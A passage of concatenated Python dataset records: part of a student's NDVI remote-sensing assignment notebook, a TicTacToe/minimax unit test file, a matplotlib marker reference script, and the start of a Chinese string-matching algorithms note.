student_ndvi_ts_single_site.mean_ndvi.values[0]):\n    print('\\u2705 You have the correct mean NDVI value!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct mean ndvi value.')\n\nprint(\"\\n \\u27A1 You received {} out of 15 points for creating a dataframe.\".format(\n    single_scene_points))\nsingle_scene_points\n\n\n# ## Task 2:\n# \n# In the cell below, process all of the landsat scenes. Create a DataFrame that contains the following \n# information for each scene\n# \n# \n# |   | index  | site  | mean_ndvi  | \n# |---|---|---|---|\n# | Date  |   |   |   |\n# |  2017-01-07  | 0  | SJER  | .4  |  \n# \n# Be sure to call your dataframe at the end of the cell to ensure autograding works.\n# HINT: FOR THIS STEP, leave any rows containing missing values (`NAN`).\n\n# In[10]:\n\n\n# Create dataframe of NDVI including the cleaning data to deal with clouds\n\n# Important: to use the ungraded tests below as a sanity check,\n# name your columns: mean_ndvi and site\n# Don't forget to set date as the index and make the values of type datetime\n\n# apply ndvi calc and masking function using bounds list as the crop-extent parameter\n#in mask_crop_ndvi\nindexed_dfs = []\n\nfor i, j  in zip(sitelists, bounds):\n    for k in i:\n        output_df = mask_crop_ndvi(image_folder = k, vals = vals, crop_extent = j, \n                   valid_range = (0, 10000))\n        indexed_dfs.append(output_df) #add it to a new list sorted in order\n\nmean_masked_ndvi = pd.concat(indexed_dfs) #combine dfs in list to new dataframe\nmean_masked_ndvi # call final object \n\n\n# In[11]:\n\n\n# Using a parallel loop to call the appropriate boundary shapefile in each iteration \n# cloud_mask function may not be ideal for processing time (loops costly in terms \n# of processing time?), but the script is efficiently short, easy to follow and produces \n# the entire dataframe with one command (at least before concatonation of the dataframe), \n# rather than having to run the mask function separately for each site/shapefile. \n\n\n# In[12]:\n\n\n# Last sanity check before creating your plot (10 points)\n\n# Ensure that you call your dataframe at the bottom of the cell above\n# and that it has columns called: mean_ndvi and site\n\n# Ensure the data is stored in a dataframe.\nstudent_ndvi_df = _\n\ndf_points = 0\n\nif isinstance(student_ndvi_df, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    df_points +=2\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Check that dataframe contains the appropriate number of NAN values\nif student_ndvi_df.mean_ndvi.isna().sum() == 15:\n    print('\\u2705 Correct number of masked data values!')\n    df_points +=2\nelse:\n    print('\\u274C The amount of null data in your dataframe is incorrect.')\n\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_df.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    df_points +=3\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_df.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    df_points +=3\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Output for timer, # DO NOT MODIFY\nend_time = datetime.now()\ntotal_time = end_time - start_time\nprint(\n    \"Your total run time for processing the data was {0}.\".format(total_time))\n\nprint(\"\\n \\u27A1 You received {} out of 10 points for creating a dataframe.\".format(\n    df_points))\n\ndf_points\n\n\n# In[13]:\n\n\n# Add only the plot code to this cell\n\n# This is the final figure of mean NDVI\n# for both sites across the year\n# with data cleaned to deal with clouds\n\n# subset dataframe to exclude \"NA\" values\nplot_data = mean_masked_ndvi[mean_masked_ndvi['mean_ndvi'].notna()]\n\n\ncolorPalette = {'HARV': 'magenta',\n                'SJER': 'navy'}\n\n# # Create figure and plot space\nfig, ax = plt.subplots(figsize=(10, 6))\n\nfor key, data in plot_data.groupby('site'):\n    data.plot(use_index=True, \n              y='mean_ndvi', \n              ax=ax, \n              marker='o', \n              label=key,\n              color = colorPalette)\n \n\n### DO NOT REMOVE LINES BELOW ###\nfinal_masked_solution = nb.convert_axes(plt, which_axes=\"current\")\n\n\n# In[14]:\n\n\n# Ignore this cell for the autograding tests\n\n\n# In[15]:\n\n\n# Ignore this cell for the autograding tests\n\n\n# # Question 1 (10 points)\n# \n# Imagine that you are planning NEON\u2019s upcoming flight season to capture remote sensing data in these locations and want to ensure that you fly the area when the vegetation is the most green.\n# \n# When would you recommend the flights take place for each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# 1. I would opt to fly at a time near the peak mean NDVI, likely early April for San Joaquin and near the end of June for Harvard Forest.  However, I would likely pick a period from several years worth of data.  Using Landsat 8, we may be able to determine an ideal period from up to eight years of data. \n\n# # Question 2 (10 points)\n# \n# How could you modify your workflow to look at vegetation changes over time in each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# 2. My current workflow would support that pretty easily. To look at an individual site, I could skip the part of the loops that incorporated 'sites' which was a means to access multiple sites. The current functions review all image folders in the supplied path, so we could extend the time period reviewed simply by adding more image folders. If I wanted to review NDVI images rather than compare changes in a dataframe, I could remove the dataframe building chunk from my mask_cloud function and the function would instead return a list of arrays that I could plot from. \n\n# # Do not edit this cell! (10 points)\n# \n# The notebook includes:\n# * additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# # Do not edit this cell! (20 points)\n# \n# The notebook will also be checked for overall clean code requirements as specified at the **top** of this notebook. Some of these requirements include (review the top cells for more specifics): \n# \n# * Notebook begins at cell [1] and runs on any machine in its entirety.\n# * PEP 8 format is applied throughout (including lengths of comment and code lines).\n# * No additional code or imports in the notebook that is not needed for the workflow.\n# * Notebook is fully reproducible. This means:\n#    * reproducible paths using the os module.\n#    * data downloaded using code in the notebook.\n#    * all imports at top of notebook.\n\n# ## BONUS - Export a  .CSV File to Share (10 points possible)\n# \n# This is optional - if you export a **.csv** file with the columns specified above: Site, Date and NDVI Value you can get an additional 10 points.\n# \n# * FULL CREDIT: File exists in csv format and contains the columns specified.\n# We will check your github repo for this file!\n# \n\n# In[16]:\n\n\n#csvfile= os.path.join(et.io.HOME,\n#                      \"earth-analytics\", \n#                      \"ea-2021-04-ndvi-automation-streamfireflies\",\n#                      \"mean_masked_ndvi.csv\")\n#mean_masked_ndvi.to_csv(csvfile)\n\n# Was able to generate a .csv to be pushed to my repo, but the CI didn't like this. \n# Is it because the file isn't in the main (earthlab) repo?\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "e3d7556d28db595aff3fe9c88f5fe65b9e141c4b", "size": 24170, "ext": "py", "lang": "Python", "max_stars_repo_path": "ea-2021-04-ndvi-automation.Kremer.py", "max_stars_repo_name": "streamfireflies/ea-2021-ndvi-automation-review", "max_stars_repo_head_hexsha": "406c34798a49e4373e280ff15d5a399d5e9bfaa5", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "ea-2021-04-ndvi-automation.Kremer.py", "max_issues_repo_name": "streamfireflies/ea-2021-ndvi-automation-review", "max_issues_repo_head_hexsha": "406c34798a49e4373e280ff15d5a399d5e9bfaa5", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "ea-2021-04-ndvi-automation.Kremer.py", "max_forks_repo_name": "streamfireflies/ea-2021-ndvi-automation-review", "max_forks_repo_head_hexsha": "406c34798a49e4373e280ff15d5a399d5e9bfaa5", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.2436708861, "max_line_length": 574, "alphanum_fraction": 0.709391808, "include": true, "reason": "import numpy", "num_tokens": 6012, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.36658973632215985, "lm_q2_score": 0.25982564942392716, "lm_q1q2_score": 0.0952494163120514}}
{"text": "from problem1 import *\nimport numpy as np\nimport sys\n\n'''\n    Unit test 1:\n    This file includes unit tests for problem1.py.\n    You could test the correctness of your code by typing `nosetests -v test1.py` in the terminal.\n'''\n\n#-------------------------------------------------------------------------\ndef test_python_version():\n    ''' ----------- Problem 1 (30 points in total)---------------------'''\n    assert sys.version_info[0]==3 # require python 3 (instead of python 2)\n\n#-------------------------------------------------------------------------\ndef test_R_play():\n    '''(2 points) Player Random play()'''\n    p = PlayerRandom()\n    s=np.array([[ 0, 1, 1],\n                [ 1, 0,-1],\n                [ 1, 1, 0]])\n    count=np.zeros(3)\n    for _ in range(100):\n        r,c = p.play(s)\n        assert s[r,c]==0 \n        assert r==c \n        assert r>-1 and r<3\n        count[c]+=1\n    assert count[0]>20\n    assert count[1]>20\n    assert count[2]>20\n    \n    s=np.array([[ 1, 1, 0],\n                [ 1, 0,-1],\n                [ 0, 1, 1]])\n\n    for _ in range(100):\n        r,c = p.play(s)\n        assert s[r,c]==0 \n        assert r==2-c \n        assert r>-1 and r<3\n \n\n#-------------------------------------------------------------------------\ndef test_T_play_x():\n    '''(2 points) TicTacToe play_x()'''\n    g = TicTacToe()\n    g.play_x(0,0) \n    assert np.allclose(g.s[0,0],1)\n    assert np.allclose(g.s.sum(),1)\n    g.play_x(2,1) \n    assert np.allclose(g.s[2,1],1)\n    assert np.allclose(g.s.sum(),2)\n\n\n#-------------------------------------------------------------------------\ndef test_T_play_o():\n    '''(2 points) TicTacToe play_o()'''\n    g = TicTacToe()\n    g.play_o(0,0) \n    assert np.allclose(g.s[0,0],-1)\n    assert np.allclose(g.s.sum(),-1)\n    g.play_o(2,2) \n    assert np.allclose(g.s[2,2],-1)\n    assert np.allclose(g.s.sum(),-2)\n\n\n#-------------------------------------------------------------------------\ndef test_T_check():\n    '''(3 points) TicTacToe check()'''\n    g = TicTacToe()\n    e = g.check(g.s)\n    assert e is None \n    g.play_x(0,0) \n    g.play_x(0,1) \n    g.play_x(0,2) \n    e = g.check(g.s)\n    assert e == 1 \n    \n    g = TicTacToe()\n    g.play_o(0,0) \n    g.play_o(1,0) \n    g.play_o(2,0) \n    e = g.check(g.s)\n    assert e == -1\n    \n    g = TicTacToe()\n    g.play_o(0,2) \n    g.play_o(1,1) \n    g.play_o(2,0) \n    e = g.check(g.s)\n    assert e == -1\n    \n    g = TicTacToe()\n    g.play_o(2,2) \n    g.play_o(1,1) \n    g.play_o(0,0) \n    e = g.check(g.s)\n    assert e == -1\n\n    g = TicTacToe()\n    g.s=np.array([[-1, 1,-1],\n                  [-1, 1,-1],\n                  [ 1,-1, 1]])\n    e = g.check(g.s)\n    assert e == 0 \n\n    g.s=np.array([[-1, 0,-1],\n                  [-1, 1,-1],\n                  [ 1,-1, 1]])\n    e = g.check(g.s)\n    assert e is None \n\n\n#-------------------------------------------------------------------------\ndef test_T_game():\n    '''(5 points) TicTacToe game()'''\n\n    # if the game has already ended\n    g = TicTacToe()\n    p1 = PlayerRandom()\n    g.s=np.array([[ 0, 1, 1],\n                  [-1,-1,-1],\n                  [ 1,-1, 1]])\n    e = g.game(p1,p1)\n    assert e==-1\n\n\n\n    p1 = PlayerRandom()\n    p2 = PlayerRandom()\n    w =0  \n    for i in range(100):\n        g = TicTacToe()\n        g.s=np.array([[ 0,-1, 1],\n                      [-1, 1, 0],\n                      [-1, 1,-1]])\n        e = g.game(p1,p2)\n        w+=e\n    print(w)\n    assert w<0\n    assert w<-30\n    assert w>-70\n\n    class test1:\n        def play(self,s):\n            assert s[1,1] == 1\n            assert s[2,2] ==-1\n            r,c=np.where(s==0)\n            return r[0],c[0]\n    class test2:\n        def play(self,s):\n            assert s[1,1] ==-1\n            assert s[2,2] == 1\n            r,c=np.where(s==0)\n            return r[0],c[0]\n\n\n    g = TicTacToe()\n\n    p1 = test1()\n    p2 = test2()\n    \n    g.s=np.array([[ 0, 0, 0],\n                  [ 0, 1, 0],\n                  [ 0, 0,-1]])\n     \n    e = g.game(p1,p2)\n\n\n    class test3:\n        def play(self,s):\n            r,c=np.where(s==0)\n            return r[0],c[0]\n\n\n    g = TicTacToe()\n\n    p1 = test3()\n    e = g.game(p1,p1)\n    print(g.s)\n    s=np.array([[ 1,-1, 1],\n                [-1, 1,-1],\n                [ 1, 0, 0]])\n    assert np.allclose(g.s, s)\n    assert e==1\n\n\n#-------------------------------------------------------------------------\ndef test_M_update_v():\n    '''(2 points) Player MiniMax update_v()'''\n    p = PlayerMiniMax()\n    s=np.array([[ 1, 0, 0],\n                [ 0, 1, 0],\n                [ 0,-1, 1]])\n    p.update_v(s,1) # won the game\n    e = p.v[str(s)]\n    assert  e== 1\n    assert len(p.v.keys())== 1\n\n\n\n#-------------------------------------------------------------------------\ndef test_M_update_p():\n    '''(2 points) Player MiniMax update_p()'''\n    p = PlayerMiniMax()\n    s=np.array([[ 0, 0, 0],\n                [ 0, 1, 0],\n                [ 0, 1,-1]])\n    p.update_p(s,0,1) \n    r,c = p.p[str(s)]\n    assert  r== 0\n    assert  c== 1\n    assert len(p.p.keys())== 1\n\n\n\n#-------------------------------------------------------------------------\ndef test_M_compute_v():\n    '''(5 points) Player MiniMax compute_v()'''\n    p = PlayerMiniMax()\n    s=np.array([[ 1, 0, 0],\n                [ 0, 1, 0],\n                [ 0,-1, 1]])\n    v=p.compute_v(s) # won the game\n    assert  v== 1\n\n    e = p.v[str(s)]\n    assert  e== 1\n\n    assert len(p.v.keys())== 1\n\n\n    s=np.array([[ 0, 0, 0],\n                [-1,-1,-1],\n                [ 0, 1, 0]])\n    v=p.compute_v(s) \n    assert  v==-1\n\n    s=np.array([[-1, 1,-1],\n                [-1, 1,-1],\n                [ 1,-1, 1]])\n    v=p.compute_v(s) \n    assert  v==0\n\n    s=np.array([[-1, 1,-1],\n                [-1, 1,-1],\n                [ 0,-1, 1]])\n    v=p.compute_v(s) \n    assert  v==0\n\n\n    s=np.array([[-1,-1, 1],\n                [-1, 1,-1],\n                [ 0,-1, 1]])\n    v=p.compute_v(s) \n    assert  v==1\n\n\n    s=np.array([[ 0, 1,-1],\n                [-1,-1, 1],\n                [ 0,-1, 1]])\n    v=p.compute_v(s) \n    assert v==0  \n\n\n    s=np.array([[ 0, 1, 1],\n                [-1, 1,-1],\n                [ 1,-1, 0]])\n    v=p.compute_v(s) \n    assert v==1  \n\n    s=np.array([[ 0, 0, 1],\n                [-1, 1, 0],\n                [-1, 0, 0]])\n    v=p.compute_v(s) \n    assert v==1  \n\n\n#-------------------------------------------------------------------------\ndef test_M_play():\n    '''(2 points) Player MiniMax play()'''\n    p = PlayerMiniMax()\n    s=np.array([[-1, 1,-1],\n                [-1, 1,-1],\n                [ 0,-1, 1]])\n    r, c = p.play(s)\n    assert np.allclose(s,[[-1, 1,-1], [-1, 1,-1], [ 0,-1, 1]])\n    assert r==2  \n    assert c==0  \n\n\n    s=np.array([[-1,-1, 1],\n                [-1, 1,-1],\n                [ 0,-1, 1]])\n    r, c = p.play(s)\n    assert r==2\n    assert c==0  \n\n    p = PlayerMiniMax()\n    s=np.array([[ 0,-1, 1],\n                [-1, 1,-1],\n                [ 0,-1,-1]])\n    r, c = p.play(s)\n    assert r==2  \n    assert c==0  \n\n    p = PlayerMiniMax()\n    s=np.array([[ 0, 1,-1],\n                [-1,-1, 1],\n                [ 0,-1, 1]])\n    r, c = p.play(s)\n    assert r==2  \n    assert c==0  \n\n    p = PlayerMiniMax()\n    s=np.array([[ 0, 1, 1],\n                [-1, 1,-1],\n                [-1,-1, 1]])\n    r, c = p.play(s)\n    assert r==0  \n    assert c==0  \n\n    p = PlayerMiniMax()\n    s=np.array([[ 0,-1, 1],\n                [-1, 1,-1],\n                [-1, 1, 0]])\n    r, c = p.play(s)\n    assert r==0  \n    assert c==0  \n\n\n\n\n#-------------------------------------------------------------------------\ndef test_players():\n    '''(2 points) random vs Minimax'''\n\n    p1 = PlayerMiniMax()\n    p2 = PlayerRandom()\n    w=0\n    for i in range(100):\n        g = TicTacToe()\n        g.s=np.array([[ 0,-1, 1],\n                      [-1, 1,-1],\n                      [ 0,-1,-1]])\n        e = g.game(p1,p2)\n        w += e\n    assert w==100\n\n    w=0\n    for i in range(100):\n        g = TicTacToe()\n        g.s=np.array([[ 0,-1, 1],\n                      [-1, 1,-1],\n                      [-1, 1, 0]])\n        e = g.game(p1,p2)\n        w += e\n    assert w==0\n\n\n    w=0\n    p1 = PlayerMiniMax()\n    for i in range(100):\n        g = TicTacToe()\n        g.s=np.array([[ 0, 0, 1],\n                      [ 0,-1, 0],\n                      [ 1,-1, 0]])\n        e = g.game(p1,p2)\n        w += e\n    assert np.abs(w-87)<10\n\n#-------------------------------------------------------------------------\ndef test_players2():\n    '''(3 points) Minimax vs Minimax'''\n    # NOTE: this test can usually finish within 20 seconds. \n    # if your code is very slow (say using more than 1 minute), you may want to check the dictionaries (self.v and self.p) implementation.\n\n    p = PlayerMiniMax()\n    w=0\n    for i in range(100):\n        g = TicTacToe()\n        g.s=np.array([[ 0, 0, 1],\n                      [ 0,-1, 0],\n                      [ 1,-1, 0]])\n        e = g.game(p,p)\n        w += e\n    assert w==0\n\n    w=0\n    for i in range(100):\n        g = TicTacToe()\n        g.s=np.array([[ 0, 0, 0],\n                      [ 0,-1, 0],\n                      [ 1, 0, 0]])\n        e = g.game(p,p)\n        w += e\n    assert w==0\n\n    w=0\n    for i in range(100):\n        g = TicTacToe()\n        g.s=np.array([[ 0, 0, 0],\n                      [ 0, 0, 0],\n                      [ 1,-1, 0]])\n        e = g.game(p,p)\n        w += e\n    assert w==100\n\n    w=0\n    for i in range(100):\n        g = TicTacToe()\n        g.s=np.array([[ 0, 0, 0],\n                      [ 0, 1, 0],\n                      [ 0,-1, 0]])\n        e = g.game(p,p)\n        w += e\n    assert w==100\n\n    w=0\n    for i in range(100):\n        g = TicTacToe()\n        g.s=np.array([[ 0, 0, 0],\n                      [ 0, 1, 0],\n                      [-1, 0, 0]])\n        e = g.game(p,p)\n        w += e\n    assert w==0\n\n    w=0\n    for i in range(100):\n        g = TicTacToe()\n        e = g.game(p,p)\n        w += e\n    assert w==0\n\n\n", "meta": {"hexsha": "584e5f6909037b277d741803bd6eee1e038c645c", "size": 9909, "ext": "py", "lang": "Python", "max_stars_repo_path": "HW5/test1.py", "max_stars_repo_name": "anurag3/DS501", "max_stars_repo_head_hexsha": "4a03100e1c221be2f2cdd99f74e006dc9827aa00", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "HW5/test1.py", "max_issues_repo_name": "anurag3/DS501", "max_issues_repo_head_hexsha": "4a03100e1c221be2f2cdd99f74e006dc9827aa00", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "HW5/test1.py", "max_forks_repo_name": "anurag3/DS501", "max_forks_repo_head_hexsha": "4a03100e1c221be2f2cdd99f74e006dc9827aa00", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 22.5717539863, "max_line_length": 138, "alphanum_fraction": 0.3618932284, "include": true, "reason": "import numpy", "num_tokens": 3147, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.19193279106941585, "lm_q1q2_score": 0.09521667332266841}}
{"text": "import numpy as np\nimport matplotlib.pyplot as plt\n\n\nfig = plt.figure(figsize=(4.25,8*.55))\nax = fig.add_axes([0,0,1,1], xlim=[0,11], ylim=[0.5,8.5], frameon=False,\n                      xticks=[], yticks=[]) #, aspect=1)\n\nX = np.linspace(1,10,10)\nY = np.zeros(len(X))\ny = 8\n\n# Marker edge color\n# ----------------------------------------------------------------------------\nC = [\"C%d\" % i for i in range(10)]\nplt.scatter(X, y+Y, s=200, facecolor=\"white\", edgecolor=C, linewidth=1.5)\nfor x,c in zip(X,C):\n    plt.text(x, y-0.25, '\"%s\"' % c,\n             size=\"x-small\", ha=\"center\", va=\"top\", family=\"monospace\")\nplt.text(X[0]-0.25, y+0.25, \"Marker edge color\",\n         size=\"small\", ha=\"left\", va=\"baseline\")\nplt.text(X[-1]+0.25, y+0.25, \"mec / ec\", color=\"blue\",\n         size=\"small\", ha=\"right\", va=\"baseline\", family=\"monospace\")\ny -= 1 \n\n\n# Marker face color\n# ----------------------------------------------------------------------------\nC = [\"C%d\" % i for i in range(10)]\nplt.scatter(X, y+Y, s=200, facecolor=C, edgecolor=\"None\")\nfor x,c in zip(X,C):\n    plt.text(x, y-0.25, '\"%s\"' % c,\n             size=\"x-small\", ha=\"center\", va=\"top\", family=\"monospace\")\nplt.text(X[0]-0.25, y+0.25, \"Marker face color\",\n         size=\"small\", ha=\"left\", va=\"baseline\")\nplt.text(X[-1]+0.25, y+0.25, \"mfc / fc\", color=\"blue\",\n         size=\"small\", ha=\"right\", va=\"baseline\", family=\"monospace\")\ny -= 1 \n\n# Marker edge width\n# ----------------------------------------------------------------------------\nLW = (1+np.arange(10)/2)\nplt.scatter(X, y+Y, s=100, facecolor=\"white\", edgecolor=\"black\", linewidth=LW)\nfor x,lw in zip(X,LW):\n    plt.text(x, y-0.25,  \"%.1f\" % lw,\n             size=\"x-small\", ha=\"center\", va=\"top\", family=\"monospace\")\nplt.text(X[0]-0.25, y+0.25, \"Marker edge width\",\n         size=\"small\", ha=\"left\", va=\"baseline\")\nplt.text(X[-1]+0.25, y+0.25, \"mew / lw\", color=\"blue\",\n         size=\"small\", ha=\"right\", va=\"baseline\", family=\"monospace\")\ny -= 1 \n\n# Marker edge width\n# ----------------------------------------------------------------------------\nS = (1+np.arange(10))*25\nplt.scatter(X, y+Y, s=S, facecolor=\"black\", edgecolor=\"None\")\nfor x,s in zip(X,S):\n    plt.text(x, y-0.25, '%d' % s,\n             size=\"x-small\", ha=\"center\", va=\"top\", family=\"monospace\")\nplt.text(X[0]-0.25, y+0.25, \"Marker size\",\n         size=\"small\", ha=\"left\", va=\"baseline\")\nplt.text(X[-1]+0.25, y+0.25, \"ms / s\", color=\"blue\",\n         size=\"small\", ha=\"right\", va=\"baseline\", family=\"monospace\")\ny -= 1 \n\n\nX = np.linspace(1,10,12)\n\n# Filled markers\n# -----------------------------------------------------------------------------\nM = [\".\", \"o\", \"s\", \"P\", \"X\", \"*\", \"p\", \"D\", \"<\", \">\", \"^\", \"v\"]\nfor x, marker in zip(X,M):\n    plt.scatter(x, y, s=256, color=\"black\", marker=\"s\",fc=\".9\", ec=\"none\")\n    plt.scatter(x, y, s=100, color=\"black\", marker=marker,\n                fc=\"white\", ec=\"black\",linewidth=0.75)\n    plt.text(x, y-0.25, '\"%s\"' % marker,\n             size=\"x-small\", ha=\"center\", va=\"top\", family=\"monospace\")\nplt.text(X[0]-0.25, y+0.25, \"Filled markers\", size=\"small\", ha=\"left\", va=\"baseline\")\nplt.text(X[-1]+0.25, y+0.25, \"marker\", color=\"blue\",\n         size=\"small\", ha=\"right\", va=\"baseline\", family=\"monospace\")\ny -= 1\n\n# Unfilled markers\n# -----------------------------------------------------------------------------\nM = [\"1\", \"2\", \"3\", \"4\", \"+\", \"x\", \"|\", \"_\", 4, 5, 6, 7]\nfor x, marker in zip(X,M):\n    if isinstance(marker,str): text = '\"%s\"' % marker\n    else:                      text = '%s' % marker\n\n    plt.scatter(x, y, s=256, color=\"black\", marker=\"s\",fc=\".9\", ec=\"none\")\n    plt.scatter(x, y, s=100, color=\"black\", marker=marker,\n                fc=\"none\", ec=\"black\",linewidth=0.75)\n    plt.text(x, y-0.25, text,\n             size=\"x-small\", ha=\"center\", va=\"top\", family=\"monospace\")\nplt.text(X[0]-0.25, y+0.25, \"Unfilled markers\", size=\"small\", ha=\"left\", va=\"baseline\")\nplt.text(X[-1]+0.25, y+0.25, \"marker\", color=\"blue\",\n         size=\"small\", ha=\"right\", va=\"baseline\", family=\"monospace\")\ny -= 1\n\n# Unicode markers\n# -----------------------------------------------------------------------------\nM = [\"\u2660\",\"\u2663\",\"\u2665\",\"\u2666\", \"\u2192\",\"\u2190\",\"\u2191\",\"\u2193\", \"\u25d0\",\"\u25d1\",\"\u25d2\",\"\u25d3\"]\nfor x, marker in zip(X,M):\n    ax.scatter(x, y, s=256, color=\"black\", marker=\"s\",fc=\".9\", ec=\"none\")\n    ax.scatter(x, y, s=100, color=\"black\", marker=\"$\"+marker+\"$\",\n                fc=\"black\", ec=\"none\", linewidth=0.5)\n    ax.text(x, y-0.25, '\"\\$%s\\$\"' % marker,\n             size=\"x-small\", ha=\"center\", va=\"top\", family=\"monospace\")\nax.text(X[0]-0.25, y+0.25, \"Unicode markers\", size=\"small\", ha=\"left\", va=\"baseline\")\nax.text(X[-1]+0.25, y+0.25, \"marker\", color=\"blue\",\n         size=\"small\", ha=\"right\", va=\"baseline\", family=\"monospace\")\ny -= 1\n\n# Spacing\n# -----------------------------------------------------------------------------\nn_segment = 4\nwidth = 9\nsegment_width = 0.75*(width/n_segment)\nsegment_pad = (width - n_segment*segment_width)/(n_segment-1)\nX0 =  1+np.arange(n_segment)*(segment_width+segment_pad)\nmarks = [ 10, [0,-1], (25, 5), [0,25,-1] ]\n\nfor x0, mark in zip(X0,marks):\n    X = np.linspace(x0, x0+segment_width, 50)\n    Y = y*np.ones(len(X))    \n    ax.plot(X, Y, linewidth=1, color=\"black\",\n            marker=\".\", mfc=\"white\", mec=\"black\", mew=\"1\", markevery=mark)\n\n    ax.text((X[0]+X[-1])/2, y-0.1, '%s' % str(mark),\n            size=\"x-small\", ha=\"center\", va=\"top\")\n\n\n      \nax.text(1-0.25, y+0.25, \"Marker spacing\", size=\"small\", ha=\"left\", va=\"baseline\")\nax.text(X[-1]+0.25, y+0.25, \"markevery\", color=\"blue\",\n         size=\"small\", ha=\"right\", va=\"baseline\", family=\"monospace\")\n\n\nplt.savefig(\"reference-markers.pdf\", dpi=600)\nplt.show()\n", "meta": {"hexsha": "00967bd637a23b787021aa1f3d54debbff3ab5fb", "size": 5669, "ext": "py", "lang": "Python", "max_stars_repo_path": "reference-markers.py", "max_stars_repo_name": "kunal-kadam/matplotlib", "max_stars_repo_head_hexsha": "424bc92d804e140eaa43a9659c14ccab60523105", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": 2960, "max_stars_repo_stars_event_min_datetime": "2019-08-11T15:36:09.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-31T15:42:36.000Z", "max_issues_repo_path": "reference-markers.py", "max_issues_repo_name": "HongLau/matplotlib-cheatsheet", "max_issues_repo_head_hexsha": "424bc92d804e140eaa43a9659c14ccab60523105", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": 4, "max_issues_repo_issues_event_min_datetime": "2019-08-15T11:32:20.000Z", "max_issues_repo_issues_event_max_datetime": "2021-01-12T16:50:19.000Z", "max_forks_repo_path": "reference-markers.py", "max_forks_repo_name": "HongLau/matplotlib-cheatsheet", "max_forks_repo_head_hexsha": "424bc92d804e140eaa43a9659c14ccab60523105", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": 445, "max_forks_repo_forks_event_min_datetime": "2019-08-12T06:56:26.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-25T06:18:02.000Z", "avg_line_length": 40.2056737589, "max_line_length": 87, "alphanum_fraction": 0.4914446992, "include": true, "reason": "import numpy", "num_tokens": 1802, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.1919327887583263, "lm_q1q2_score": 0.09521667217615114}}
{"text": "# coding:utf-8\n# usr/bin/python3\n# python src/chapter32/chapter32note.py\n# python3 src/chapter32/chapter32note.py\n\"\"\"\n\nClass Chapter32_1\n\nClass Chapter32_2\n\nClass Chapter32_3\n\nClass Chapter32_4\n\n\"\"\"\nfrom __future__ import absolute_import, division, print_function\n\nimport math\nimport re\nimport numpy as np\n\nif __name__ == '__main__':\n    import stringmatch as sm\nelse:\n    from . import stringmatch as sm\n\nclass Chapter32_1:\n    \"\"\"\n    chapter32.1 note and function\n    \"\"\"\n    def __init__(self):\n        pass\n\n    def note(self):\n        \"\"\"\n        Summary\n        ====\n        Print chapter32.1 note\n\n        Example\n        ====\n        ```python\n        Chapter32_1().note()\n        ```\n        \"\"\"\n        print('chapter32.1 note as follow')\n        print('\u7b2c32\u7ae0 \u5b57\u7b26\u4e32\u5339\u914d')\n        print('\u5728\u6587\u672c\u7f16\u8f91\u7a0b\u5e8f\u4e2d,\u7ecf\u5e38\u51fa\u73b0\u8981\u5728\u4e00\u6bb5\u6587\u672c\u4e2d\u627e\u51fa\u67d0\u4e2a\u6a21\u5f0f\u7684\u5168\u90e8\u51fa\u73b0\u4f4d\u7f6e\u8fd9\u4e00\u95ee\u9898\u3002\u5178\u578b\u60c5\u51b5\u662f,\u4e00\u6bb5\u6587\u672c\u662f\u6b63\u5728\u7f16\u8f91\u7684\u6587\u4ef6,',\n            '\u6240\u641c\u5bfb\u7684\u6a21\u5f0f\u662f\u7528\u6237\u63d0\u4f9b\u7684\u4e00\u4e2a\u7279\u5b9a\u5355\u8bcd\u3002\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\u7684\u6709\u6548\u7b97\u6cd5\u80fd\u6781\u5927\u5730\u63d0\u9ad8\u6587\u672c\u7f16\u8f91\u7a0b\u5e8f\u7684\u54cd\u5e94\u6027\u80fd',\n            